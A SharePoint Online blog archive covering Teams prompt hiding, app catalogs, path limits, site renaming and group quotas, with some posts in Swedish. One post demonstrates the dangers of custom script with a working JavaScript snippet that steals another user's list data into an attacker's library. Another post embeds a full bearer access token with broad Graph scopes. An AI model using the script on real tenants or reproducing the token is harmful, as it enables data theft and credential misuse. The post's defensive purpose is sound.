CHUVASH.eu

CHunky Universe of Vigourous Astonishing SHarepoint :)

Tag Archives: Sharepoint

Hiding Teamify Prompt

If you want to remove the Microsoft Teams Banner on your SharePoint Site, the only thing you need is to set a web property on a site: TeamifyHidden=TRUE. I’ll give you some guidance below. But before you do that, consider following:

  • If there is already a team created for a group connected site, the prompt won’t show up. Why fix something that is not a problem?
  • Only group owners will get the prompt, if they are few and they know what it is, it is better to let them to decide whether to create or not to create a team.
  • Only licensed users within your organization will be shown that choice. No external users or users without a license.
  • And the most important part: if any site owner selects “Don’t show me again” it will stop popping up for all other site owners. If you happen to have a manual step in the group creation process, then you can just click it away.
“Don’t show me again” option is per site, not per user.
Internally, it is stored as a web property on root site of a site collection.

How to hide Teamify programmatically

Allright, if you still want to hide this prompt and you want to do it programmatically, you need to ensure that this web property is on every site collection root site.

Iterate through all sites

You can find a script for that on Microsoft Fasttrack github repository:

This script has a couple of drawbacks:

  1. Performance and need for re-run. It iterates through all existing sites, meaning that it takes time to iterate through all of them and it requires that you run it again. In an organization with many new collaboration sites it might be a bad option.
  2. Access to all sites. It requires SharePoint Admin, which is okay-ish, but it also requires that this admin account has access to all sites, in order to update the web property, which is not a good option when admins have a restricted access to actual sites due regulations.
  3. CustomScript. CustomScript is disabled by default for a reason. Because it is a security risk. At least you should alter the script to reset the CustomScript setting on a site after you have changed the web property.

Hide Teamify site by site

You can of course hide the Teamify Prompt on a site without iterating. It is the same principle, but it doesn’t require iterating through all sites. You still need to be a SharePoint Administrator (or a Global Admin of course) in order to enable Custom Script. As in the case with all sites, you should reset the CustomScript to what it was.

Use GroupSiteManager Api

There is a new SharePoint Site API that you can call to hide a Teamify Prompt. All you need is to use the solution described in this sharepoint stackexchange answer:

This still requires that access to the site, but you will not need SharePoint Admin, nor will you need to change any CustomScript settings on a site. That’s better.

Calling PnP Rest Call to hide the Teamify Prompt.

Summary

There are ways of hiding the Teamify Prompt on a site collection. If you do that you should include that step in some provisioning process, and not iterate through all sites. It is better to not alter the CustomScript settings at all. First of all it is best to ask yourself why you should disable something that is done for users and for a better user adoption. Also consider that usually only few will be shown that (group owners with a license and within the organization). The group owners can also hide it by clicking “Don’t show me again” and it will disappear for all other group owners.

Site Collection App Catalog vs. Tenant App Catalog

Site Collection App Catalogs are great for special cases (like developing apps or site unique apps), but using them on scale would be a mess.

I got a question: Why should we use the Tenant App Catalog at all when we could enable a Site Collection App Catalog on every teamsite? So the suggestion here is to install SharePoint Framework Packages on many Site Collection App Catalogs, instead of the Tenant App Catalog. In that way those wouldn’t be visible for all users in the “Add an app” page.

Technically, both ways are possible, but I would say, we should use the Tenant App Catalog for apps that are installed on many sites. I have gathered some pros and cons to help people decide.

But first, some abbreviations and notes on terminology:

  • SCAC = Site Collection App Catalog, (Local App Catalog)
  • TAC = Tenant App Catalog, (Global App Catalog)
  • App = SharePoint Framework Package, but also a SharePoint Add-In

Pros and Cons of Site Collection App Catalogs

👍 A SCAC makes it possible to have local instances of an app. It is perfect if you want to test an app without making it visible for the whole tenant. It is also good for apps that are only installed on one site collection. There are benefits of distributing site specific apps through the TAC, such as better governance, once installed on a site, those apps can be Disabled.

👎 Mess in all the apps and the versions. There might be different versions of the apps. The update procedure will require a special script to find all the sites and run the update. This also requires owner access to that site. If the owners would like to remove all the IT accounts in order to collaborate on confidential information, then it won’t be possible to update that site. It will lead to poor governance. Just to give it a perspective. Imagine that every smartphone had its own local App Store/Google Play. Possible but counterproductive.

👎 A SCAC is a security risk. The control and governance is handed over to site owners. It means that they can install any apps on their site collections. Poorly designed and implemented apps can lead to big security issues, in the similar way as custom script.

👎 Enabling a SCAC adds additional lists and features (such as Apps for SharePoint). It will require more space (not so much, but still), but first of all it will make some users more confused, actually more confused then some more available apps. Imagine all the support: What is it, Oops I deleted “Apps for SharePoint”.

👎 Every app will install the resources on every site collection, meaning every app will have multiple copies of the same app. It means more space needed. That is of course, not the case if you use Azure CDN.

👎 Every app will use its own urls to resources, preventing browsers from gaining performance by caching the resources cross site collections.

👎 If Azure CDN is used, you must make sure all the versions of javascript and css files are kept because you might not know which versions of an app are still used.

Pros and Cons of the Tenant App Catalog

👍 Easier to control the apps and have better governance. The Tenant App catalog tells what apps exist in your tenant. As admin you can verify that the code complies with the guidelines (by running code checks), you can make sure, every app there has all needed information such as app owner, description etc.

👍 Easier to update apps. Installing a new version of an app will update all the instances. There won’t be any custom script to traverse all the sites with that app.

👍 It is more cost efficient to follow the Tenant App Catalog approach, because it is the recommended way of installing and updating apps. Having scripts and procedures for SCAC, (even completely automated) will always cost more: to keep the scripts up to date, support etc.

👍 Benefits of the common apps. If a business unit comes up with a good solution, it can be used by other Business units, if it is discoverable and follows quality guidelines (more on that later).

👎 The Apps from the TAC are visible to all Business Units and the users might be confused. This issue can be mitigated in two ways:

  • The business units that have not rolled out SharePoint Online and don’t use any apps, can remove their users from the App Catalog.
  • Having a good naming policy, app icons, good descriptions, disabling any “auxiliary” apps. On top of that, some user guidance.

Summary of pros and cons

To summarize, Site Collection App Catalogs for reusable apps installed to many site collections, is a bad idea, because it means a security risk, less control and governance, encreased data and traffic to SharePoint Servers.

How can we scope apps to our business units

Are there other ways of scoping the apps to business units other than misusing the Site Collection App Catalogs?

First of all, it is a question of user adoption. It is better to help users instead of breaking the functionality or misusing other concepts.

Second, it is a question about governance of the Tenant App Catalog. It should be clear how an app can be added, and how that package should be wrapped:

  • good naming standard,
  • proper localization
  • a mandatory icon,
  • good description,
  • owner/contact person. Also, only relevant apps should be “Enabled”. All the other apps should be Disabled.
A couple of apps from your organization is a drop in the ocean compared to SharePoint Store Apps

Control with Permissions

If you remove a user from the Tenant App Catalog, the apps will disappear for that user.

There are apps, but this user cannot see any apps to install.

The permissions can set on the whole Tenant App Catalog by removing “Everyone except external users” and then adding all AD Groups who should see the apps.

The permissions could also be set on the specific packages or folders.

The permission way of scoping the apps might work. But it is important to know that it is a workaround and it breaks the default setup (where all users have READ on the TAC). This means that along the way you can bump into limitations or bugs, more or less unique to your organization. It will be harder to get help from Microsoft or from community.

Permissions in SPFx apply to your whole tenant

Once you approve a permission request from an SPFx app, it will grant the same permission to all other apps in the same tenant.

Nothing new, but I want to emphasize that in that blog post only dedicated to that. You can read it here:

A simple sketch over the permissions.

Here is a simple FAQ to explain what it means:

  • I uploaded my app to two site collection app catalogs. Do I need to get approval for the app twice? – No.
  • I have got my approval for Delegated Groups.ReadWrite.All for App X. Now I want to use the same permissions in another app, do I need a new approval? – No.

Is Custom Script Dangerous

Allowing custom script has its security implications. But what exactly does it mean? Is it dangerous? My colleauge Daniel and me have done a little experiment. There are two implications stated on MS Docs:

  • Scripts have access to everything the user has access to.
  • Scripts can access content across several Office 365 services and even beyond with Microsoft Graph integration.

To summarize, we can look at that picture:

So the risk that user 1 (the Blue User) intentionally or unintentionally places a script and lets user 2 (the Red User) run this script by linking to the page that has this script. The page must be in a “common” place.

Let’s try that. Let’s have a little hackathon.

Experiment A. Very Simple.

Scenario: the Red User (my colleague Daniel) has a site with with sensitive information (He has a list called Secrets). The Blue user (me) does not have access to that site. The Red User accidentially shares the link to the secret list. Now, to prove the security risks with the custom script, the Blue User has to get the secret information.

To make it more visual and fun, we have found a box where we have put candies and locked it with a combination lock. The code (the combination) is stored in the Secrets list.

The combination consists of three digits from 0 to 9. So there are 1000 possible combinations.

Since the Red User knows that he is going to be hacked, he acts as normal as possible, not especially suspicious. And since the experiment A is a simple one, we let the Red User to accidentially show the link to the Secrets list. That can be:

  • A screenshot that shows something else but contains the confidential site url
  • An email that is sent to a wrong recipient
  • A pasted link in a wrong Teams chat
  • etc.

So the Blue User finds out that there is a Secrets list that has the following address:

/sites/DailyWork/Lists/Secrets

“Fortunately”, the Blue User has access to a classic site (where Custom Script is allowed). He shares that site with the Red User. Now both the Blue User and the Red User have it in common.

Then, a new Web Part Page is added with a tiny script.

try {
var xhr = new XMLHttpRequest();
xhr.open("GET", "/sites/DailyWork/_api/web/Lists/GetByTitle('Secrets')/Items", true);
xhr.setRequestHeader("Accept","application/json;odata=nometadata");
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if (xhr.status == 200) {
var content = xhr.responseText;
var time = new Date().getTime();
var url = _spPageContextInfo.webServerRelativeUrl
+ "/_api/web/getfolderbyserverrelativeurl('Shared Documents')/Files/add(overwrite=true, url='"
+ time + ".json')";
var xhrUpload = new XMLHttpRequest();
xhrUpload.open("POST", url, true);
xhrUpload.setRequestHeader("Content-Type", "text/plain")
xhrUpload.setRequestHeader("X-RequestDigest", __REQUESTDIGEST.value);
xhrUpload.send(content);
}
}
}
xhr.send(null);
}
catch(e) { /* do nothing */ }
view raw get-secret.js hosted with ❤ by GitHub

That script makes a REST call to the Secrets list and uploads the result in Shared Documents. For the sake of simplicity, a built-in document library is used. An attacker would probably add a hidden list for that.

Now to get the Red User to that page, the Blue User adds some “important” information so that the Red User will not become suspiciuos.

The “important” information and the actual script editor

Now it is just the matter of sending a link to the Red User. The Red User navigates to that page and the script is executed while he is reading the information on that page.

The Blue User gets the Secret that was generated by the Red User:

With that information the Blue User has hacked the combination lock and he can now open the red box with candies!

Skitgott Candy

Experiment B. Harder

For now I think it is enough with the Experiment A, the Simple Experiment. We have proved, that, indeed, security is compromised with custom script allowed. A user can get confidential information from another user. Maybe some of you want to set up a more sophisticated experiment. Make sure the “hacked” person is warned and agrees to be part of an ethical hacking act. We maybe can try more to show the importance of keeping custom script disabled and not using classic sites that have it by default.

Wrapping up

Custom Script (or DenyAddAnCustomizePages=false) is dangerous, it is of course not black and white. It provide the ability to have small appications directly on sites created by users. But as with all other aspects of IT, you should know what you are doing. Every site with custom script is a potential trojan horse. Minimizing the number of classic sites and sites with custom scripts lowers the risk. All the collaboration sites should be modern team sites without custom script.

The Path Length Limit of 400 chars in SharePoint Online

This post is my summary and my conclusions on the Path Length Limit in SharePoint Online and OneDrive.

How the path length is calculated

Path Length is not the same as the URL length. It is the relative Url.

/sites/site-url/documenlibrary/folder1/folder2/filename.fileextension

Calculations rules

  • Only the server relative url part is counted. The “https://%5Btenant%5D.sharepoin.com” has no impact on that. It starts from the foward slash: “/sites” (or /teams).
  • An encoded value such as a blankspace (%20) is treated as one character, not three.
  • A unicode character, and an emoji is treated as one character. Good news for Non-English Names.
  • Url Parameters, like “?Web=1” are not calculated.
  • The site url and the document library url is taken into account
  • All slashes are included
  • A file extension is also included, and even the dot, e.g. “.docx”

Other related information

  • A site url and a group name can only be 64 characters max.
  • The path in the “Copy Link” is much shorter than the “real” path
  • There is no limit (as of time of writing – 2019-10-30) on the folder name length (other than the bigger limit of 400 characters), I had no issues to add a folder name with 312 characters.
https://%5Btenant%5Dsharepoint.com
/:w:/s
/[long-site-ur]/ETWAEtIJiltJtW7uAND42doBeXOMCpxmHRws55m_nNlEcA

A calculation example

Those are parts that are counted in the Path Length

Recommendations for Folder-heavy document management

I don’t want to discuss whether to folder not to folder. On that topic, my favorite is the slide deck with the same name by Bobby Chang: To Folder or Not To Folder. For those who need to use folders I would recommend:

  • Try to have a short site url/group name
  • Try to have a short document library url. Why not creating just “docs” instead of “Our very important documents”? Note, that I am talking about the url, not the display name. The trick is to call it “docs” (or some other short word) initially (which will turn to the url), and then you can name it to whatever you please.
  • Even if you use folders, try to flatten the structure.
  • Use shorter folder names
  • Use shorter file names.

Further Reading

Renaming site urls

I saw a demo of it on the European SharePoint Conference in Copenhagen in 2018. Sebastian Fouillade, who showed this, compared this big change with brain surgery. All the urls, all the connections. But now it is possible. Today I have seen it even in my standard release tenant.

It is really appreciated. Soon it will be possible to rename misspelled sites, like “devlepment” to “development” etc.

To rename you need to go the SharePoint Admin, find your site among Active sites and click on “Edit” in the site url area.

I also can image, it will be very handy to change the url of a SharePoint site that was automatically created for a Team (through the Office 365 Group). The team might have some longer name, but a simpler url is often appreciated.

I have tried and seen that also the automatic redirects from an old site url to a new site url works.

Caveats and Limitations

mailNickname ≠ site url

Now it is even more important to not to rely on the fact that mailNickname of an Office 365 Group and Site url are the same. As Elio Struyf describes, it is not a good idea to compose a URL from the group name. I have used in PoCs the site url to get the group id:

GET https://graph.microsoft.com/v1.0/groups?$filter=mailNickname eq 'my-group' 

Now it the amount of cases where it will work, will be less.

Not all site types can change url

I have found that the App Catalog site cannot get a new url, neither sites with Publishing Features.

The official message from Microsoft

We’re making it possible for SharePoint administrators to change site URLs.

  • We’ll be gradually rolling this out to customers in mid-October.
  • The roll out will be completed worldwide by the end of October.

This roll out does not apply to Office 365 subscriptions for EDU tenants.

This message is associated with Microsoft 365 Roadmap ID 56205.How does this affect me?

As a global or SharePoint admin in your organization, you will be able to change the URL for the following types of sites (previously called “site collections”):

  • Classic team sites
  • Communication sites
  • Modern team sites that don’t belong to an Office 365 group
  • Office 365 group-connected team sites

For example, if you have a site named https://contoso.sharepoint.com/sites/Develpment, you can rename the site to correct the incorrect spelling of “development” via the SharePoint admin center.

Automatically-generated redirects will ensure that old links do not break.What do I need to do to prepare for this change?

There is nothing you need to do to prepare for this change, but you may consider updating your user training and notifying your help desk.

Learn more about changing a site address.

A user can only create 250 groups

A non-admin user can create no more than 250 resources in Azure AD. That is one of the many Azure AD service limits and restrictions. A “resource” can be an app registration, an Office 365 Group etc. But I would like to discuss Groups more in detail.

Imagine the following scenario: Your organization has disabled Office 365 Group Creation. Only IT can create new groups. A service account has been set up for creation of team sites. The application permissions are “binary”, either everything or nothing: Group.ReadWrite.All. This service account will hit the limit very soon.

To prove that, I have created a small script that creates 251 groups.

# This script will try to create 251 groups
# The last one should fail
# configuration:
# 1. create an account nonadmin@takana16.onmicrosoft.com
# 2. go to https://developer.microsoft.com/en-us/graph/graph-explorer, make a call and grab the access token
$token = "eyJ0eXAiOiJKV1QiLCJub25jZSI6Iko1WXU2MWRtR3FsR0JaaVJ0YTJsM0duUFdBLW5FY19yWk90aFNFNlg3MUEiLCJhbGciOiJSUzI1NiIsIng1dCI6ImFQY3R3X29kdlJPb0VOZzNWb09sSWgydGlFcyIsImtpZCI6ImFQY3R3X29kdlJPb0VOZzNWb09sSWgydGlFcyJ9.eyJhdWQiOiIwMDAwMDAwMy0wMDAwLTAwMDAtYzAwMC0wMDAwMDAwMDAwMDAiLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8wMzRmOGFhOC01NTBiLTRjZmEtODZhNi03NWFkNTdmMTNkNDkvIiwiaWF0IjoxNTcxOTk3NzQ5LCJuYmYiOjE1NzE5OTc3NDksImV4cCI6MTU3MjAwMTY0OSwiYWNjdCI6MCwiYWNyIjoiMSIsImFpbyI6IkFTUUEyLzhOQUFBQWFmNDJjVjFMTUdZRzlmMFh4TDNCK0pLbTdrR2NNQ3FLcHI3TUtFVlNwdUU9IiwiYW1yIjpbInB3ZCJdLCJhcHBfZGlzcGxheW5hbWUiOiJHcmFwaCBleHBsb3JlciIsImFwcGlkIjoiZGU4YmM4YjUtZDlmOS00OGIxLWE4YWQtYjc0OGRhNzI1MDY0IiwiYXBwaWRhY3IiOiIwIiwiZmFtaWx5X25hbWUiOiJNaXJvbm92IiwiZ2l2ZW5fbmFtZSI6IkFuYXRvbHkiLCJpcGFkZHIiOiIyMTIuNzMuMTY0LjExIiwibmFtZSI6IkFuYXRvbHkgTWlyb25vdiIsIm9pZCI6IjI5OGU2MjNmLTg1M2MtNDcxYS1hODhkLWJkZjA3OTcxNzg5NSIsInBsYXRmIjoiMyIsInB1aWQiOiIxMDAzMjAwMDVFNEU5NDcyIiwic2NwIjoiQWNjZXNzUmV2aWV3LlJlYWQuQWxsIEFjY2Vzc1Jldmlldy5SZWFkV3JpdGUuQWxsIEFncmVlbWVudC5SZWFkLkFsbCBBZ3JlZW1lbnQuUmVhZFdyaXRlLkFsbCBBZ3JlZW1lbnRBY2NlcHRhbmNlLlJlYWQgQWdyZWVtZW50QWNjZXB0YW5jZS5SZWFkLkFsbCBBbmFseXRpY3MuUmVhZCBBcHBDYXRhbG9nLlJlYWRXcml0ZS5BbGwgQXVkaXRMb2cuUmVhZC5BbGwgQm9va2luZ3MuTWFuYWdlLkFsbCBCb29raW5ncy5SZWFkLkFsbCBCb29raW5ncy5SZWFkV3JpdGUuQWxsIEJvb2tpbmdzQXBwb2ludG1lbnQuUmVhZFdyaXRlLkFsbCBDYWxlbmRhcnMuUmVhZCBDYWxlbmRhcnMuUmVhZC5TaGFyZWQgQ2FsZW5kYXJzLlJlYWRXcml0ZS5TaGFyZWQgQ2hhdC5SZWFkIENoYXQuUmVhZFdyaXRlIENvbnRhY3RzLlJlYWQgQ29udGFjdHMuUmVhZC5TaGFyZWQgQ29udGFjdHMuUmVhZFdyaXRlLlNoYXJlZCBEZXZpY2UuQ29tbWFuZCBEZXZpY2UuUmVhZCBEZXZpY2VNYW5hZ2VtZW50QXBwcy5SZWFkLkFsbCBEZXZpY2VNYW5hZ2VtZW50QXBwcy5SZWFkV3JpdGUuQWxsIERldmljZU1hbmFnZW1lbnRDb25maWd1cmF0aW9uLlJlYWQuQWxsIERldmljZU1hbmFnZW1lbnRDb25maWd1cmF0aW9uLlJlYWRXcml0ZS5BbGwgRGV2aWNlTWFuYWdlbWVudE1hbmFnZWREZXZpY2VzLlByaXZpbGVnZWRPcGVyYXRpb25zLkFsbCBEZXZpY2VNYW5hZ2VtZW50TWFuYWdlZERldmljZXMuUmVhZC5BbGwgRGV2aWNlTWFuYWdlbWVudE1hbmFnZWREZXZpY2VzLlJlYWRXcml0ZS5BbGwgRGV2aWNlTWFuYWdlbWVudFJCQUMuUmVhZC5BbGwgRGV2aWNlTWFuYWdlbWVudFJCQUMuUmVhZFdyaXRlLkFsbCBEZXZpY2VNYW5hZ2VtZW50U2VydmljZUNvbmZpZy5SZWFkLkFsbCBEZXZpY2VNYW5hZ2VtZW50U2VydmljZUNvbmZpZy5SZWFkV3JpdGUuQWxsIERpcmVjdG9yeS5BY2Nlc3NBc1VzZXIuQWxsIERpcmVjdG9yeS5SZWFkLkFsbCBEaXJlY3RvcnkuUmVhZFdyaXRlLkFsbCBFZHVBZG1pbmlzdHJhdGlvbi5SZWFkIEVkdUFkbWluaXN0cmF0aW9uLlJlYWRXcml0ZSBFZHVBc3NpZ25tZW50cy5SZWFkIEVkdUFzc2lnbm1lbnRzLlJlYWRCYXNpYyBFZHVBc3NpZ25tZW50cy5SZWFkV3JpdGUgRWR1QXNzaWdubWVudHMuUmVhZFdyaXRlQmFzaWMgRWR1Um9zdGVyLlJlYWRCYXNpYyBGaWxlcy5SZWFkIEZpbGVzLlJlYWQuQWxsIEZpbGVzLlJlYWQuU2VsZWN0ZWQgRmlsZXMuUmVhZFdyaXRlIEZpbGVzLlJlYWRXcml0ZS5BcHBGb2xkZXIgRmlsZXMuUmVhZFdyaXRlLlNlbGVjdGVkIEZpbmFuY2lhbHMuUmVhZFdyaXRlLkFsbCBHcm91cC5SZWFkLkFsbCBHcm91cC5SZWFkV3JpdGUuQWxsIElkZW50aXR5UHJvdmlkZXIuUmVhZC5BbGwgSWRlbnRpdHlQcm92aWRlci5SZWFkV3JpdGUuQWxsIElkZW50aXR5Umlza0V2ZW50LlJlYWQuQWxsIElkZW50aXR5Umlza0V2ZW50LlJlYWRXcml0ZS5BbGwgSWRlbnRpdHlSaXNreVVzZXIuUmVhZC5BbGwgSWRlbnRpdHlSaXNreVVzZXIuUmVhZFdyaXRlLkFsbCBNYWlsLlJlYWQgTWFpbC5SZWFkLlNoYXJlZCBNYWlsLlJlYWRXcml0ZS5TaGFyZWQgTWFpbC5TZW5kIE1haWwuU2VuZC5TaGFyZWQgTWFpbGJveFNldHRpbmdzLlJlYWRXcml0ZSBOb3Rlcy5DcmVhdGUgTm90ZXMuUmVhZCBOb3Rlcy5SZWFkLkFsbCBOb3Rlcy5SZWFkV3JpdGUgTm90aWZpY2F0aW9ucy5SZWFkV3JpdGUuQ3JlYXRlZEJ5QXBwIFBlb3BsZS5SZWFkLkFsbCBQb2xpY3kuUmVhZC5BbGwgUG9saWN5LlJlYWRXcml0ZS5Db25kaXRpb25hbEFjY2VzcyBQb2xpY3kuUmVhZFdyaXRlLlRydXN0RnJhbWV3b3JrIFByaXZpbGVnZWRBY2Nlc3MuUmVhZFdyaXRlLkF6dXJlQUQgUHJpdmlsZWdlZEFjY2Vzcy5SZWFkV3JpdGUuQXp1cmVSZXNvdXJjZXMgUHJvZ3JhbUNvbnRyb2wuUmVhZC5BbGwgUHJvZ3JhbUNvbnRyb2wuUmVhZFdyaXRlLkFsbCBSZXBvcnRzLlJlYWQuQWxsIFNlY3VyaXR5RXZlbnRzLlJlYWQuQWxsIFNlY3VyaXR5RXZlbnRzLlJlYWRXcml0ZS5BbGwgU2l0ZXMuRnVsbENvbnRyb2wuQWxsIFNpdGVzLk1hbmFnZS5BbGwgU2l0ZXMuUmVhZC5BbGwgVGFza3MuUmVhZCBUYXNrcy5SZWFkLlNoYXJlZCBUYXNrcy5SZWFkV3JpdGUuU2hhcmVkIFRydXN0RnJhbWV3b3JrS2V5U2V0LlJlYWQuQWxsIFRydXN0RnJhbWV3b3JrS2V5U2V0LlJlYWRXcml0ZS5BbGwgVXNlci5SZWFkIFVzZXIuUmVhZC5BbGwgVXNlci5SZWFkV3JpdGUuQWxsIFVzZXJBY3Rpdml0eS5SZWFkV3JpdGUuQ3JlYXRlZEJ5QXBwIHByb2ZpbGUgb3BlbmlkIGVtYWlsIFVzZXIuUmVhZFdyaXRlIFVzZXIuUmVhZEJhc2ljLkFsbCBTaXRlcy5SZWFkV3JpdGUuQWxsIENvbnRhY3RzLlJlYWRXcml0ZSBQZW9wbGUuUmVhZCBOb3Rlcy5SZWFkV3JpdGUuQWxsIFRhc2tzLlJlYWRXcml0ZSBNYWlsLlJlYWRXcml0ZSBGaWxlcy5SZWFkV3JpdGUuQWxsIENhbGVuZGFycy5SZWFkV3JpdGUiLCJzaWduaW5fc3RhdGUiOlsia21zaSJdLCJzdWIiOiJaeVU3ajFXZC1qbVQycWVoT0xkcmZRLWpDOEJNWExpcDNKbHRjWjR4S2ZrIiwidGlkIjoiMDM0ZjhhYTgtNTUwYi00Y2ZhLTg2YTYtNzVhZDU3ZjEzZDQ5IiwidW5pcXVlX25hbWUiOiJhZG1pbkB0YWthbmExNi5vbm1pY3Jvc29mdC5jb20iLCJ1cG4iOiJhZG1pbkB0YWthbmExNi5vbm1pY3Jvc29mdC5jb20iLCJ1dGkiOiJwVjdxcFpNaVlrYXphTFdOZzU4N0FBIiwidmVyIjoiMS4wIiwid2lkcyI6WyI2MmU5MDM5NC02OWY1LTQyMzctOTE5MC0wMTIxNzcxNDVlMTAiXSwieG1zX3N0Ijp7InN1YiI6Ilp3N1NraGoxcG9wa0EySm1oV0Jta2hEdTlrTC1VUWdSY3QtM2FWYkM3djAifSwieG1zX3RjZHQiOjE1NjY1NzQ0OTR9.A7cmPDgKnGF2XsG5KqiRpTprtaEoMHzy7JdBgR0ZbNC6VjWEjGNoPfhLADaugOOXhzfT6EkD8t3KPcccFAxkAOZb7xZTnZXDnnDfh8GDMEOdiOZ2Ka-PrXCq-volPSJ_SWILi4D31rxE0oNJL_XbjMFZixcvnh8lWtMAyw6oxuQSkY8yahzVXfEH82HK8pi217OL-PPAjhDR7WH5Gc5sz2_-XlE7QbVktvmLS98nDtkXoMXbHox4TP6abta10onwlEXciPVJv_Gr1lyF490XJEyVZ7n_fOsW0rery5NRDsG9UtEFwvmLcOCi5OEYPkKMOq8eRRC0f_V-yW76JksUXQ"
$authorization = "Bearer " + $token;
$header = @{
"Accept" = "application/json"
"Authorization" = $authorization
"Content-Type" = "application/json"
}
function CallGraph($name) {
$body = @{
"displayName" = $name
"mailNickname" = $name
"mailEnabled" = $true
"securityEnabled" = $false
"groupTypes" = [string[]]"Unified"
"visibility" = "Private"
"resourceBehaviorOptions" = [string[]]"WelcomeEmailDisabled"
} | ConvertTo-Json
Invoke-RestMethod Uri "https://graph.microsoft.com/v1.0/groups/" Method 'Post' Body $body Headers $header
}
#$prefix = "try250-002-"
$prefix = "wel-"
$start = 5
$count = 1
$end = $start + $count
$tries = $start..$end
$results = $tries | ForEach-Object {
$name = "$prefix{0:d3}" -f $_
$percent = 100 * ($_ $start) / $count
Write-Progress Activity "Creating groups" Status "$_ of $count Complete:" PercentComplete $percent
CallGraph($name)
}

By the way, just for clarification, when create a new group, that will also create a SharePoint site.

Please don’t try this with your real account in production. The 251st request will fail:

Directory_QuotaExceeded

The directory object quota limit for the Principal has been exceeded. Please ask your ad
ministrator to increase the quota limit or delete objects to reduce the used quota.

Even if you remove, it will take time to get free slots in this limit:

Deleted Azure AD resources that are no longer available to restore count toward this quota at a value of one-quarter for 30 days.

There is not much to do about it. For App Registrations you can create and assign a custom role. But for groups there is no custom roles available.

Exceptions

It might be obvious, but still:

Admins

Admins do not have this limit. But not all “admin roles” are really admins. Those roles are excepted:

  • Global Admin
  • SharePoint Admin

Those roles are not excepted:

  • Message Center Reader

I don’t have time to try every admin role, but I suppose only admins that can change global configuration, are excepted, not the reader ones.

Communication Sites

Since communication sites do not have an Office 365 Group behind the scenes, a non-admin user will still be able to create such sites even after the limit is hit.

Workarounds and Solutions

Since my scenario for creating groups with a service account does not work, we need to seek workarounds and solutions.

Do not restrict Group Creation

That is the best one. If users can create groups/sites by themselves, then none of this would be a problem. But still, in my scenario, there is a business requirement to control the creation of groups.

Application Permissions Group.ReadWrite.All

That is exactly the opposite of my scenario. This gives that application full access to all groups and files (!). This means, that application can access all Group-Connected SharePoint Sites as well.

Microsoft creates permissions for groups

If we also had “groups” permissions for custom roles, then we could do the same way as with app registrations. Today (2019-10-25), there are only permissions for applications.

Microsoft creates new permission Group.Create.All

If there were a permission for only creating groups, that would solve the problem.

What we have today

There is a similar role: User.Invite.All, it allows only invitations, not editing All Users.

Microsoft allows exceptions per user

If there were a switch for the 250-limit per user, that would also solve the problem.

Granting the service account admin rights

Granting SharePoint Admin would solve the problem, but at what price? That is safer than Application Permissions Group.ReadWrite.All, since you need to actively add this account to the groups in order to read all the files, but this is still less secure than just a non-admin account.

Having multiple service accounts

If we had account 1..100 and we used every account 250 times. Theoretically it should work, but it is a cumbersome process. You need to keep track of how many groups an account as created, or having the right error handling. How should the password be kept safely. Should the accounts be removed when they have reached the 250 limit?

Group Creation Microservice

To overcome the limits and the ungranularity in the built-in permissions in Office 365, one way to solve it would be a tiny, but a dedicated, and secured service for creation of groups (and sites). It would still need the “hefty” Group.ReadWrite.All Application Permissions, but making it do the only thing and do it right, would mitigate the risks.

It could be a simple Azure Function that few have access to. That could be just a couple of lines of code.

Snabba diagram i SharePoint Online

Ett nytt tips på svenska: det finns en webpart i SharePoint Online: snabbdiagram.

När du har lagt till ett snabbdiagram, kan du skriva välja mellan stapel och cirkeldiagram

Du kan bara välja mellan stapel- och cirkeldiagram.
Data går att mata in direkt.

Resultatet får du direkt:

Använd data från en lista

Det går att visualisera data från en SharePoint-lista. Det är inte så mycket mer komplicerat, men det öppnar nya möjligheter. Du behöver bara hålla listan uppdaterad.

Nyttan med snabbdiagram

Det finns många olika sätt att visualisera data: PowerBI, Excel diagram, man skapa egna webparts. Men det är inte så sällan när man vill bara en liten visuell hjälp för att kommunicera ett budskap. Istället för att fastna på teknikaliteterna, kan man snabbt smälla upp ett diagram. Det gör inte heller att man behöver manuellt uppdatera sidan/listan.

Bra jobbat, Microsoft!

Bara moderna sidor

Snabbdiagram finns bara i “moderna” sidor, inte i klassiska sådana (wikisidor, webbdelssidor).

Mer SharePoint på svenska

Jag tänker använda taggen “svenska” för alla mina poster skrivna på svenska.

Troubleshooting Performance in SharePoint Online

This is my personal list of links and thoughts on troubleshooting performance in SharePoint Online.

Resources

Health info in Response Headers

Every response from SharePoint Online contains some health information:

Following Response Headers could reveal the health:

  • x-sharepointhealthscore, 0-10 score, the higher score the more loaded is the SharePoint Server.
  • spiislatency, time in ms that the request waited to be processed by IIS. Unfortunately, I cannot see this value as of writing (2019-10-14)
  • sprequestduration, time in ms IIS took to process the request. Unfortunately, I cannot see this value as of writing (2019-10-14)

Min första kolumnformatering

Jag har precis börjat med kolumnformatering, bara testat. Det är annorlunda, jag är nöjd med första resultatet. Även om det påminner om jslink som jag har jobbat mycket med, så är det mycket lättare att sätta igång:

Det är enklare att ändra, även för en icke-utvecklare. Man får en början:

Med hjälp av dokumentation av List Formatting och Office UI Fabric Icons, har jag skapat en enkel formatering som jag är riktigt nöjd med:

Det är tre Ja/Nej-kolumner, som ska sättas till Ja under processen, listan representerar beställningar. Ja/nej-kolumnerna är actions för den som tar emot beställningar. Nej är en tom röd cirkel. Ja är en full grön cirkel. Du kan se koden här.

{
"elmType": "div",
"style": {
"padding": "0 4px",
"font-size": "2em",
"text-align": "center"
},
"children": [
{
"elmType": "span",
"style": {
"display": "inline-block",
"color": "=if(@currentField == true, 'green', 'red')"
},
"attributes": {
"iconName": "=if(@currentField == true, 'CircleFill', 'CircleRing')"
}
}
]
}

Det är lätt som en lek att börja med. Det är där för en Citizen Developer, en användare (ägare på siten) kan lätt sätta upp mer visuella vyer. Man behöver inte längre uppdatera JSlink-attributet i kolumnen eller vyn programmatiskt, man behöver inte stoppa in en Script Editor webpart. Med lite meckande av json, kan mycket anpassas. Json som man ändrar valideras direkt.

Om det skulle bli fel (att det inte visar något värde i kolumnen), går det lätt att nollställa formateringen. Jag hade lite problem först med att sätta in alla element på sin rätta plats i json-strukturen, då kändes det bra att kunna ta bort det snabbt, innan man fortsätter att experimentera.

Sammanfattningsvis kan jag säga att det är en intressant och uppskattad funktion i SharePoint för enklare vy-visualiseringar som är lättare att sätta upp och ta bort.

P.S. Vad tycker du om att jag skriver på svenska. Om du vill ha mer innehåll på min blogg på svenska, lämna en kommentar.

Daniel Chronlund Cloud Tech Blog

